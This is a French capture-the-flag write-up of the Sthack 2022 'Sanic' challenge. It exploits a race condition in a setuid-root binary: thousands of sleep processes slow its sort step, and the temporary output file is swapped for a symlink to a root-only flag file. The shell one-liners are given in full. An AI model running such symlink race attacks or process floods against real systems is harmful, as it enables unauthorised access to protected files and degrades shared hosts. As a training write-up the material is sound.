[Sthack 2022][Write up – Exploit] Sanic
Introduction
https://www.youtube.com/watch?v=PX7zPlQjAr8
OK WE GOTTA GO FAST !!!
Analyse de l’environnement
Dans la description du challenge, on retrouve un :
ssh [email protected]
En arrivant sur le serveur, on se trouve avec un binaire chall et un fichier flag.
Le binaire possède le suid root, et le fichier flag n’est accessible en lecture que pour root.
Bref on se dit vite qu’on va devoir exploiter le binaire pour lire le fichier.
On notera également un .dockerenv dans le /, cool on peut faire un peu n’importe quoi, on ne devrait pas crasher le host (spoiler: non)
Le binaire, il marche comment ?
Lorsqu’on lance le chall, voici ce qui s’affiche:
Bon on peut voir quelques commandes lancées par le binaire : ps, sort, ainsi qu’un output dans /tmp/chall/processes-RANDOM-NUM.
J’ai tenté de reverse le binaire pour être sur de comprendre ce qu’il faisait, mais je me suis retrouvé face à un truc compilé statiquement et strippé, et ma motivation s’est tout de suite effondrée.
Ceci dit, vu que le binaire a l’air de lancer un ps et d’afficher l’output, il se passe quoi si je le lance 36 fois en même temps ?
for i in `seq 1 100`; do ./chall & done
Ceci nous permet de récupérer d’autres commandes lancées par notre cher binaire chall.
/usr/bin/bash -c rm -rf /tmp/chall; mkdir -pv /tmp/chall /usr/bin/cat /tmp/chall/processes-1163304
Du coup ce qu’on comprend du binaire:
- Il affiche le nom du fichier d’output (on l’appellera $PROCESS_FILE)
- Il rm le dossier /tmp/chall et le recrée instantanément. (impossible de précréer des fichiers dans le dossier).
- Il fait un ps -fau | sort -uV -o $PROCESS_FILE
- Il fait un cat $PROCESS_FILE
En regardant bien ce qu’il fait, on se rend compte qu’il y’a une potentielle Race Condition entre la partie ps et le cat du fichier.
Seulement, il va falloir trouver un moyen de ralentir le programme afin de pouvoir rm et créer un lien symbolique sur le $PROCESS_FILE.
SANIC, GOTTA SLOW DOWN !
On peut pas trop influer sur le ps ni le rm , mais du coup on va se concentrer sur le sort 🙂
Avec mon confrère Headorteil, on s’est dit:
« Si on spawn 2000 process sleep, le sort il va galérer ! »
ET incroyable, ça a marché !
Du coup on a balancé un bon vieux :
for i in `seq 4272`; do sleep 200 & done
Ok maintenant que le sort galère un peu, c’est parti pour récupérer le nom du programme au départ, ensuite on attend un peu, on rm le fichier et on fait notre lien symbolique !
./chall > /tmp/jb/abc & a=$(cat /tmp/jb/abc | head -n 1 | cut -d ' ' -f 7); sleep 0.2 && rm $a && ln -s /home/chall/flag $a
Décortiquons un peu cela !
- ./chall > /tmp/jb/abc : on envoie l’output du programme dans un fichier à nous
- a=$(cat /tmp/jb/abc | head -n 1 | cut -d ‘ ‘ -f 7) : on récupère le $PROCESS_FILENAME
- sleep 0.2 && rm $a && ln -s /home/chall/flag $a : on rm le fichier et on fait notre lien symbolique
FINALLY
Un petit cat /tmp/jb/abc nous récupère le flag !
FLAG: vroumvroumrapide (je me rappelle plus trop du flag, mais ça ressemblait à un truc comme ça)
Arrivé en février 2020 chez Login, il réalise aussi des pentests occasionnellement.